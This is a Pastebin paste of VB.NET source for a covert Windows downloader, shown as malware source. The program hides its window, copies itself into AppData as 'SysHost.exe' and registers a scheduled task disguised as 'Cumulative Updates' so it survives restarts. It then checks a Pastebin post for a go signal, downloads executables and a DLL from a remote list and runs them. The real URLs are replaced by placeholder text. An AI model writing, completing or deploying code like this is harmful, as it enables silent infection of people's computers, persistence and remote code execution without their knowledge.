Advertisement
Guest User

v

a guest
Oct 8th, 2015
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.30 KB | None | 0 0
  1. Imports System.Net
  2. Imports System.IO
  3. Imports System.Environment
  4.  
  5. Public Class Form1
  6.  
  7.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  8.         Me.ShowIcon = False
  9.         Me.ShowInTaskbar = False
  10.         Me.Visible = False
  11.         Me.Opacity = 0
  12.         If My.Settings.isfirstrun = True Then
  13.             IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\SysHost.exe")
  14.             Dim path = Environ("temp") & "\x"
  15.             Dim change As String = My.Resources._957970
  16.             change = Replace(change, "%i%", My.User.CurrentPrincipal.Identity.Name.ToString())
  17.             change = Replace(change, "%path%", Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\SysHost.exe")
  18.             IO.File.WriteAllText(path, change)
  19.             Interaction.Shell(("schtasks.exe /create /TN ""Updates\Cumulative Updates"" /XML """ & path & """"), AppWinStyle.MinimizedFocus, False, -1)
  20.  
  21.             My.Settings.isfirstrun = False
  22.             My.Settings.Save()
  23.             My.Settings.Reload()
  24.  
  25.             Timer1.Start()
  26.  
  27.         Else
  28.  
  29.  
  30.             Timer1.Start()
  31.  
  32.  
  33.         End If
  34.     End Sub
  35.     Public Function GetPage(ByVal PageURL As String) As String
  36.         Dim S As String = ""
  37.         Try
  38.             Dim Request As HttpWebRequest = WebRequest.Create(PageURL)
  39.             Dim Response As HttpWebResponse = Request.GetResponse()
  40.             Using Reader As StreamReader = New StreamReader(Response.GetResponseStream())
  41.                 S = Reader.ReadToEnd
  42.             End Using
  43.         Catch ex As Exception
  44.  
  45.         End Try
  46.         Return S
  47.     End Function
  48.  
  49.  
  50.    
  51.  
  52.     Public Function crypt(ByVal str As String) As String
  53.         Dim Vstr As String = str.Replace("a", "ا").Replace("b", "ب").Replace("c", "ت").Replace("d", "ث").Replace("e", "ج").Replace("f", "ح").Replace("g", "خ").Replace("h", "د").Replace("i", "ذ").Replace("j", "ر").Replace("k", "ز").Replace("l", "س").Replace(" ", " ").Replace("m", "ش").Replace("n", "ص").Replace("o", "ض").Replace("p", "ط").Replace("q", "و").Replace("r", "ظ").Replace("s", "ع").Replace("t", "غ").Replace("u", "ف").Replace("v", "ق").Replace("w", "ك").Replace("x", "ل").Replace("y", "م").Replace("z", "ن")
  54.         Return Vstr
  55.     End Function
  56.     Public Function decrypt(ByVal str As String) As String
  57.         Dim Vstr As String = str.Replace("ا", "a").Replace("ب", "b").Replace("ت", "c").Replace("ث", "d").Replace("ج", "e").Replace("ح", "f").Replace("خ", "g").Replace("د", "h").Replace("ذ", "i").Replace("ر", "j").Replace("ز", "k").Replace("س", "l").Replace(" ", " ").Replace("ش", "m").Replace("ص", "n").Replace("ض", "o").Replace("ط", "p").Replace("و", "q").Replace("ظ", "r").Replace("ع", "s").Replace("غ", "t").Replace("ف", "u").Replace("ق", "v").Replace("ك", "w").Replace("ل", "x").Replace("م", "y").Replace("ن", "z")
  58.         Return Vstr
  59.     End Function
  60.  
  61.     Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  62.         On Error Resume Next
  63.  
  64.         If Not File.Exists(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe") Then
  65.             Dim result1 As String = GetPage("Yes or NO pastebin post url")
  66.             If result1 = "yes" Then
  67.                 Dim urls As String = GetPage("pastebin post contain direct url for the server")
  68.                 If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt") Then
  69.                     IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt")
  70.                 End If
  71.                 IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt", urls)
  72.                 Dim path1 As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt"
  73.                 Dim lines As Integer = GetNumberOfLines(path1)
  74.                 Dim i As Integer = 0
  75.                 Do Until i = lines
  76.                     Dim str As String = ReadALine(path1, lines, i)
  77.  
  78.                     Dim byte1 As Byte() = GetFileFromUrl(str)
  79.                     If str.Contains("atiode.exe") Then
  80.                         IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe", byte1)
  81.                     ElseIf str.Contains("hexsys.dll") Then
  82.                         IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\hexsys.dll", byte1)
  83.                     ElseIf str.Contains("systskedit.exe") Then
  84.                         IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\systskedit.exe", byte1)
  85.                     ElseIf str.Contains("ATIODE.exe.config") Then
  86.                         IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe.config", byte1)
  87.                     ElseIf str.Contains("youtube.txt") Then
  88.                         Dim str1 As String
  89.                         Dim webc As New WebClient
  90.                         str1 = webc.DownloadString(str)
  91.                         IO.File.WriteAllText(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\youtube.txt", str1)
  92.                     End If
  93.                     i = i + 1
  94.                 Loop
  95.  
  96.             End If
  97.             Process.Start(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe")
  98.             Process.Start(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\systskedit.exe")
  99.         End If
  100.  
  101.     End Sub
  102.  
  103.     Public Function ReadALine(ByVal File_Path As String, ByVal TotalLine As Integer, ByVal Line2Read As Integer) As String
  104.         Dim Buffer As Array
  105.         Dim Line As String
  106.         If TotalLine <= Line2Read Then
  107.             Return "No Such Line"
  108.         End If
  109.         Buffer = File.ReadAllLines(File_Path)
  110.         Line = Buffer(Line2Read)
  111.         Return Line
  112.     End Function
  113.     Public Function GetNumberOfLines(ByVal file_path As String) As Integer
  114.         Dim sr As New StreamReader(file_path)
  115.         Dim NumberOfLines As Integer
  116.         Do While sr.Peek >= 0
  117.             sr.ReadLine()
  118.             NumberOfLines += 1
  119.         Loop
  120.         Return NumberOfLines
  121.         sr.Close()
  122.         sr.Dispose()
  123.     End Function
  124.  
  125.     Public Shared Function GetFileFromUrl(url As String) As Byte()
  126.         Dim request As System.Net.HttpWebRequest = Nothing
  127.         Dim response As System.Net.HttpWebResponse = Nothing
  128.         Dim retBytes As Byte() = Nothing
  129.  
  130.         request = DirectCast(System.Net.WebRequest.Create(url), System.Net.HttpWebRequest)
  131.         response = DirectCast(request.GetResponse(), System.Net.HttpWebResponse)
  132.  
  133.         If request.HaveResponse Then
  134.             If response.StatusCode = System.Net.HttpStatusCode.OK Then
  135.                 Dim receiveStream As System.IO.Stream = response.GetResponseStream()
  136.                 Using br As New System.IO.BinaryReader(receiveStream)
  137.                     retBytes = br.ReadBytes(500000)
  138.                     br.Close()
  139.                 End Using
  140.             End If
  141.         End If
  142.  
  143.         Return retBytes
  144.     End Function
  145. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement